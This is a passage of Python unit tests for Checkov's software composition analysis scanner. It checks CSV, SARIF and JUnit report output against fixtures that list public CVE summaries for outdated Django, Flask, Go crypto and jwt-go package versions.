[{"license": {"name": "Unknown"}}], "purl": "pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1", }, { "type": "library", "bom-ref": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0", "name": "requests", "version": "2.26.0", "licenses": [{"license": {"name": "OSI_APACHE"}}], "purl": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0", }, { "type": "library", "bom-ref": "pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0", "name": "requests", "version": "2.26.0", "licenses": [{"license": {"name": "OSI_APACHE"}}], "purl": "pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0", }, ], key=itemgetter("purl")) def test_get_csv_report(sca_package_2_report, tmp_path: Path): csv_sbom_report = CSVSBOM() csv_sbom_report.add_report(report=sca_package_2_report, git_org="acme", git_repository="bridgecrewio/example") csv_sbom_report.persist_report_oss_packages(file_name=FILE_NAME_OSS_PACKAGES, is_api_key=True, output_path=str(tmp_path)) output_file_path = tmp_path / FILE_NAME_OSS_PACKAGES csv_output = output_file_path.read_text() csv_output_str = csv_sbom_report.get_csv_output_packages(check_type=CheckType.SCA_PACKAGE) # then expected_csv_output = [ 'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version', 'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-19844,CRITICAL,"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)",OSI_BDS,1.11.27,https://pypi.python.org/,,', 'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-7401,HIGH,"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.",OSI_BDS,1.8.15,https://pypi.python.org/,,', 'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2021-33203,MEDIUM,"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.",OSI_BDS,2.2.24,https://pypi.python.org/,,', 'flask,0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2018-1000656,HIGH,The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.,"OSI_APACHE, DUMMY_OTHER_LICENSE",0.12.3,https://pypi.python.org/,,', 'golang.org/x/crypto,v0.0.1,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-29652,HIGH,A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.,Unknown,0.0.2,,,', 'github.com/dgrijalva/jwt-go,v3.2.0,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-26160,HIGH,"jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\""aud\\""] (which is allowed by the specification). Because the type assertion fails, \\""\\"" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.",Unknown,4.0.0rc1,,,', 'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-6186,MEDIUM,"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.",OSI_BDS,1.8.14,https://pypi.python.org/,,', 'flask,0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-1010083,HIGH,The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.,"OSI_APACHE, DUMMY_OTHER_LICENSE",1.0,https://pypi.python.org/,,', 'requests,2.26.0,/requirements.txt,,acme,bridgecrewio/example,,,,OSI_APACHE,N/A,https://pypi.python.org/,,', 'github.com/miekg/dns,v1.1.41,/path/to/go.sum,,acme,bridgecrewio/example,,,,Unknown,N/A,,,', 'github.com/prometheus/client_model,v0.0.0-20190129233127-fd36f4220a90,/path/to/go.sum,,acme,bridgecrewio/example,,,,Unknown,N/A,,,', 'requests,2.26.0,/path/to/sub/requirements.txt,,acme,bridgecrewio/example,,,,OSI_APACHE,N/A,,,', ''] csv_output_as_list = csv_output.split("\n") assert csv_output_as_list == expected_csv_output expected_csv_output_str = [ 'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version', '"django",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-19844,CRITICAL,"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)","OSI_BDS",1.11.27,https://pypi.python.org/,,', '"django",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-7401,HIGH,"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.","OSI_BDS",1.8.15,https://pypi.python.org/,,', '"django",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2021-33203,MEDIUM,"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.","OSI_BDS",2.2.24,https://pypi.python.org/,,', '"flask",0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2018-1000656,HIGH,"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.","OSI_APACHE, DUMMY_OTHER_LICENSE",0.12.3,https://pypi.python.org/,,', '"golang.org/x/crypto",v0.0.1,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-29652,HIGH,"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.","Unknown",0.0.2,,,', '"github.com/dgrijalva/jwt-go",v3.2.0,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-26160,HIGH,"jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\"aud\\"] (which is allowed by the specification). Because the type assertion fails, \\"\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.","Unknown",4.0.0rc1,,,', '"django",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-6186,MEDIUM,"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.","OSI_BDS",1.8.14,https://pypi.python.org/,,', '"flask",0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-1010083,HIGH,"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.","OSI_APACHE, DUMMY_OTHER_LICENSE",1.0,https://pypi.python.org/,,', '"requests",2.26.0,/requirements.txt,,acme,bridgecrewio/example,,,"","OSI_APACHE",N/A,https://pypi.python.org/,,', '"github.com/miekg/dns",v1.1.41,/path/to/go.sum,,acme,bridgecrewio/example,,,"","Unknown",N/A,,,', '"github.com/prometheus/client_model",v0.0.0-20190129233127-fd36f4220a90,/path/to/go.sum,,acme,bridgecrewio/example,,,"","Unknown",N/A,,,', '"requests",2.26.0,/path/to/sub/requirements.txt,,acme,bridgecrewio/example,,,"","OSI_APACHE",N/A,,,', ''] csv_output_str_as_list = csv_output_str.split("\n") assert csv_output_str_as_list == expected_csv_output_str def test_sarif_output(sca_package_report_2_with_skip_scope_function): # The creation of sarif_json may change the input report. in order not to affect the other tests, we use # a report that is unique for the scope of the function # when sarif_output = Sarif(reports=[sca_package_report_2_with_skip_scope_function], tool="Checkov").json # then sarif_output["runs"][0]["tool"]["driver"]["version"] = "2.0.x" expected_sarif_json = { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Checkov", "version": "2.0.x", "informationUri": "https://checkov.io", "rules": [ { "id": "DUMMY_OTHER_LICENSE_flask@0.6", "name": "License DUMMY_OTHER_LICENSE - flask: 0.6", "shortDescription": { "text": "License DUMMY_OTHER_LICENSE - flask: 0.6" }, "fullDescription": { "text": "Package flask@0.6 has license DUMMY_OTHER_LICENSE" }, "help": { "text": "SCA license\nResource: requirements.txt.flask" }, "defaultConfiguration": { "level": "error" } }, { "id": "CVE-2019-19844_django@1.2", "name": "CVE-2019-19844 - django: 1.2", "shortDescription": { "text": "CVE-2019-19844 - django: 1.2" }, "fullDescription": { "text": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)" }, "help": { "text": "SCA package scan\nResource: requirements.txt.django\nStatus: fixed in 3.0.1, 2.2.9, 1.11.27" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "9.8" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844" }, { "id": "CVE-2016-7401_django@1.2", "name": "CVE-2016-7401 - django: 1.2", "shortDescription": { "text": "CVE-2016-7401 - django: 1.2" }, "fullDescription": { "text": "The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies." }, "help": { "text": "SCA package scan\nResource: requirements.txt.django\nStatus: fixed in 1.9.10, 1.8.15" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "7.5" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2016-7401" }, { "id": "CVE-2021-33203_django@1.2", "name": "CVE-2021-33203 - django: 1.2", "shortDescription": { "text": "CVE-2021-33203 - django: 1.2" }, "fullDescription": { "text": "Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories." }, "help": { "text": "SCA package scan\nResource: requirements.txt.django\nStatus: fixed in 3.2.4, 3.1.12, 2.2.24" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "4.9" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2021-33203" }, { "id": "CVE-2018-1000656_flask@0.6", "name": "CVE-2018-1000656 - flask: 0.6", "shortDescription": { "text": "CVE-2018-1000656 - flask: 0.6" }, "fullDescription": { "text": "The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083." }, "help": { "text": "SCA package scan\nResource: requirements.txt.flask\nStatus: fixed in 0.12.3" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "7.5" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000656" }, { "id": "CVE-2020-26160_github.com/dgrijalva/jwt-go@v3.2.0", "name": "CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0", "shortDescription": { "text": "CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0" }, "fullDescription": { "text": "jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\"aud\\\"] (which is allowed by the specification). Because the type assertion fails, \\\"\\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check." }, "help": { "text": "SCA package scan\nResource: path/to/go.sum.github.com/dgrijalva/jwt-go\nStatus: fixed in v4.0.0-preview1" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "7.7" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2020-26160" }, { "id": "OSI_BDS_django@1.2", "name": "License OSI_BDS - django: 1.2", "shortDescription": { "text": "License OSI_BDS - django: 1.2" }, "fullDescription": { "text": "Package django@1.2 has license OSI_BDS" }, "help": { "text": "SCA license\nResource: requirements.txt.django" }, "defaultConfiguration": { "level": "error" } }, { "id": "CVE-2016-6186_django@1.2", "name": "CVE-2016-6186 - django: 1.2", "shortDescription": { "text": "CVE-2016-6186 - django: 1.2" }, "fullDescription": { "text": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML." }, "help": { "text": "SCA package scan\nResource: requirements.txt.django\nStatus: fixed in 1.9.8, 1.8.14" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "6.1" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186" }, { "id": "CVE-2019-1010083_flask@0.6", "name": "CVE-2019-1010083 - flask: 0.6", "shortDescription": { "text": "CVE-2019-1010083 - flask: 0.6" }, "fullDescription": { "text": "The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656." }, "help": { "text": "SCA package scan\nResource: requirements.txt.flask\nStatus: fixed in 1.0" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "7.5" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010083" }, { "id": "CVE-2020-29652_golang.org/x/crypto@v0.0.1", "name": "CVE-2020-29652 - golang.org/x/crypto: v0.0.1", "shortDescription": { "text": "CVE-2020-29652 - golang.org/x/crypto: v0.0.1" }, "fullDescription": { "text": "A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers." }, "help": { "text": "SCA package scan\nResource: path/to/go.sum.golang.org/x/crypto\nStatus: fixed in v0.0.2" }, "defaultConfiguration": { "level": "error" }, "properties": { "security-severity": "7.5" }, "helpUri": "https://nvd.nist.gov/vuln/detail/CVE-2020-29652" } ], "organization": "bridgecrew" } }, "results": [ { "ruleId": "DUMMY_OTHER_LICENSE_flask@0.6", "ruleIndex": 0, "level": "error", "attachments": [], "message": { "text": "License DUMMY_OTHER_LICENSE - flask: 0.6" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "flask: 0.6" } } } } ] }, { "ruleId": "CVE-2019-19844_django@1.2", "ruleIndex": 1, "level": "error", "attachments": [], "message": { "text": "CVE-2019-19844 - django: 1.2" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "django: 1.2" } } } } ] }, { "ruleId": "CVE-2016-7401_django@1.2", "ruleIndex": 2, "level": "error", "attachments": [], "message": { "text": "CVE-2016-7401 - django: 1.2" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "django: 1.2" } } } } ] }, { "ruleId": "CVE-2021-33203_django@1.2", "ruleIndex": 3, "level": "warning", "attachments": [], "message": { "text": "CVE-2021-33203 - django: 1.2" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "django: 1.2" } } } } ] }, { "ruleId": "CVE-2018-1000656_flask@0.6", "ruleIndex": 4, "level": "error", "attachments": [], "message": { "text": "CVE-2018-1000656 - flask: 0.6" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "flask: 0.6" } } } } ] }, { "ruleId": "CVE-2020-26160_github.com/dgrijalva/jwt-go@v3.2.0", "ruleIndex": 5, "level": "error", "attachments": [], "message": { "text": "CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "path/to/go.sum" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "github.com/dgrijalva/jwt-go: v3.2.0" } } } } ] }, { "ruleId": "OSI_BDS_django@1.2", "ruleIndex": 6, "level": "warning", "attachments": [], "message": { "text": "License OSI_BDS - django: 1.2" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "django: 1.2" } } } } ], "suppressions": [ { "kind": "external", "justification": "Test License suppression 1" } ] }, { "ruleId": "CVE-2016-6186_django@1.2", "ruleIndex": 7, "level": "warning", "attachments": [], "message": { "text": "CVE-2016-6186 - django: 1.2" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "django: 1.2" } } } } ], "suppressions": [ { "kind": "external", "justification": "Test CVE suppression 2" } ] }, { "ruleId": "CVE-2019-1010083_flask@0.6", "ruleIndex": 8, "level": "error", "attachments": [], "message": { "text": "CVE-2019-1010083 - flask: 0.6" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "tests/sca_package_2/examples/requirements.txt" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "flask: 0.6" } } } } ], "suppressions": [ { "kind": "external", "justification": "Test CVE suppression 1" } ] }, { "ruleId": "CVE-2020-29652_golang.org/x/crypto@v0.0.1", "ruleIndex": 9, "level": "error", "attachments": [], "message": { "text": "CVE-2020-29652 - golang.org/x/crypto: v0.0.1" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "path/to/go.sum" }, "region": { "startLine": 1, "endLine": 1, "snippet": { "text": "golang.org/x/crypto: v0.0.1" } } } } ], "suppressions": [ { "kind": "external", "justification": "CVE-2020-29652 is skipped" } ] } ] } ] } assert sarif_output == expected_sarif_json def test_get_junit_xml_string(sca_package_2_report_with_skip): # given report = sca_package_2_report_with_skip # when test_suites = [report.get_test_suite()] junit_xml_output = report.get_junit_xml_string(test_suites) expected_xml = xml.dom.minidom.parseString(""" Description: Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.) Link: https://nvd.nist.gov/vuln/detail/CVE-2019-19844 Published Date: 2019-12-18T20:15:00+01:00 Base Score: 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Risk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True} Fix Details: Status: fixed in 3.0.1, 2.2.9, 1.11.27 Fixed Version: 1.11.27 Resource: requirements.txt.django File: /requirements.txt: 0-0 0 | django: 1.2 Description: The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies. Link: https://nvd.nist.gov/vuln/detail/CVE-2016-7401 Published Date: 2016-10-03T20:59:00+02:00 Base Score: 7.5 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Risk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True} Fix Details: Status: fixed in 1.9.10, 1.8.15 Fixed Version: 1.8.15 Resource: requirements.txt.django File: /requirements.txt: 0-0 0 | django: 1.2 Description: Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories. Link: https://nvd.nist.gov/vuln/detail/CVE-2021-33203 Published Date: 2021-06-08T20:15:00+02:00 Base Score: 4.9 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N Risk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True} Fix Details: Status: fixed in 3.2.4, 3.1.12, 2.2.24 Fixed Version: 2.2.24 Resource: requirements.txt.django File: /requirements.txt: 0-0 0 | django: 1.2 Description: The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083. Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 Published Date: 2018-08-20T21:31:00+02:00 Base Score: 7.5 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Risk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True} Fix Details: Status: fixed in 0.12.3 Fixed Version: 0.12.3 Resource: requirements.txt.flask File: /requirements.txt: 0-0 0 | flask: 0.6 Description: jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\"aud\"] (which is allowed by the specification). Because the type assertion fails, \"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. Link: https://nvd.nist.gov/vuln/detail/CVE-2020-26160 Published Date: 2020-09-30T20:15:00+02:00 Base Score: 7.7 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Risk Factors: {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True} Fix Details: Status: fixed in v4.0.0-preview1 Fixed Version: 4.0.0rc1 Resource: path/to/go.sum.github.com/dgrijalva/jwt-go File: /path/to/go.sum: 0-0 0 | github.com/dgrijalva/jwt-go: v3.2.0 """) # then assert xml.dom.minidom.parseString(junit_xml_output).toprettyxml() == expected_xml.toprettyxml() ================================================ FILE: tests/sca_package_2/test_runner.py ================================================ import os from pathlib import Path from unittest.mock import MagicMock from pytest_mock import MockerFixture from packaging import version as packaging_version from checkov.common.bridgecrew.bc_source import SourceTypes, BCSourceType from checkov.common.bridgecrew.code_categories import CodeCategoryType from checkov.common.bridgecrew.platform_integration import bc_integration, FileToPersist from checkov.runner_filter import RunnerFilter from checkov.sca_package_2.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult, ErrorStatus EXAMPLES_DIR = Path(__file__).parent / "examples" def test_upload_scannable_files(): # when bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" input_paths = Runner().upload_package_files( root_path=EXAMPLES_DIR, files=[], excluded_paths=set(), ) # expected expected_output = { FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'), s3_file_key='requirements.txt'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.sum'), s3_file_key='go.sum'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package-lock.json'), s3_file_key='package-lock.json'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'), s3_file_key='package.json'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'), s3_file_key='go.mod'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'), s3_file_key='Microsoft.NET.Sdk.csproj') } # then assert len(input_paths) == 6 assert set(input_paths) == expected_output def test_upload_scannable_files_exclude_go_and_requirements(): # when input_output_paths = Runner().upload_package_files( root_path=EXAMPLES_DIR, files=[], excluded_paths=set(), excluded_file_names={"go.sum", "package-lock.json"} ) # expected expected_output = { FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'), s3_file_key='requirements.txt'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'), s3_file_key='package.json'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'), s3_file_key='go.mod'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'), s3_file_key='Microsoft.NET.Sdk.csproj') } # then assert len(input_output_paths) == 4 assert set(input_output_paths) == expected_output def test_upload_scannable_files_file_config(): origin_cwd = os.getcwd() try: # setup os.chdir(str(Path(__file__).parent)) # when input_output_paths = Runner().upload_package_files( root_path=None, files=[ str(EXAMPLES_DIR / 'requirements.txt'), str(EXAMPLES_DIR / 'go.sum'), str(EXAMPLES_DIR / 'package-lock.json'), str(EXAMPLES_DIR / 'package.json'), str(EXAMPLES_DIR / 'go.mod'), str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj') ], excluded_paths=set(), excluded_file_names=set() ) # expected (paths are in related to the test-working-dir) expected_output = { FileToPersist(full_file_path=str(EXAMPLES_DIR / 'requirements.txt'), s3_file_key='examples/requirements.txt'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.sum'), s3_file_key='examples/go.sum'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package-lock.json'), s3_file_key='examples/package-lock.json'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'package.json'), s3_file_key='examples/package.json'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'go.mod'), s3_file_key='examples/go.mod'), FileToPersist(full_file_path=str(EXAMPLES_DIR / 'Microsoft.NET.Sdk.csproj'), s3_file_key='examples/Microsoft.NET.Sdk.csproj') } # then assert len(input_output_paths) == 6 assert set(input_output_paths) == expected_output finally: # teardown os.chdir(origin_cwd) def test_run(sca_package_2_report): # given report = sca_package_2_report # then assert report.check_type == "sca_package" assert report.resources == { "path/to/go.sum.github.com/dgrijalva/jwt-go", "path/to/go.sum.golang.org/x/crypto", "requirements.txt.django", "requirements.txt.flask", "requirements.txt.requests", "path/to/sub/requirements.txt.requests", } assert len(report.passed_checks) == 3 assert len(report.failed_checks) == 7 assert len(report.skipped_checks) == 3 assert len(report.parsing_errors) == 0 cve_record = next((c for c in report.failed_checks if c.resource == "path/to/go.sum.golang.org/x/crypto" and c.check_name == "SCA package scan"), None) assert cve_record is not None assert cve_record.bc_check_id == "BC_CVE_2020_29652" assert cve_record.check_id == "CKV_CVE_2020_29652" assert cve_record.check_class == "unittest.mock.MagicMock" # not the real one assert cve_record.check_name == "SCA package scan" assert cve_record.check_result == {"result": CheckResult.FAILED} assert cve_record.code_block == [(0, "golang.org/x/crypto: v0.0.1")] assert cve_record.description == ( "A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 " "for Go allows remote attackers to cause a denial of service against SSH servers." ) assert cve_record.file_abs_path == "/path/to/go.sum" assert cve_record.file_line_range == [0, 0] assert cve_record.file_path == "/path/to/go.sum" assert cve_record.repo_file_path == "/path/to/go.sum" assert cve_record.resource == "path/to/go.sum.golang.org/x/crypto" assert cve_record.severity == Severities[BcSeverities.HIGH] assert cve_record.short_description == "CVE-2020-29652 - golang.org/x/crypto: v0.0.1" assert cve_record.vulnerability_details["lowest_fixed_version"] == "0.0.2" assert cve_record.vulnerability_details["fixed_versions"] == [ packaging_version.parse("v0.0.2"), ] # making sure cve-records have licenses (the one belongs to the associated package) - this data will be printed # as part of the BON report. cve_record_with_license = next((c for c in report.failed_checks if c.resource == "requirements.txt.django" and c.check_name == "SCA package scan"), None) assert cve_record_with_license is not None assert "licenses" in cve_record_with_license.vulnerability_details assert cve_record_with_license.vulnerability_details["licenses"] == "OSI_BDS" cve_record_with_2_license = next((c for c in report.failed_checks if c.resource == "requirements.txt.flask" and c.check_name == "SCA package scan"), None) assert cve_record_with_2_license is not None assert "licenses" in 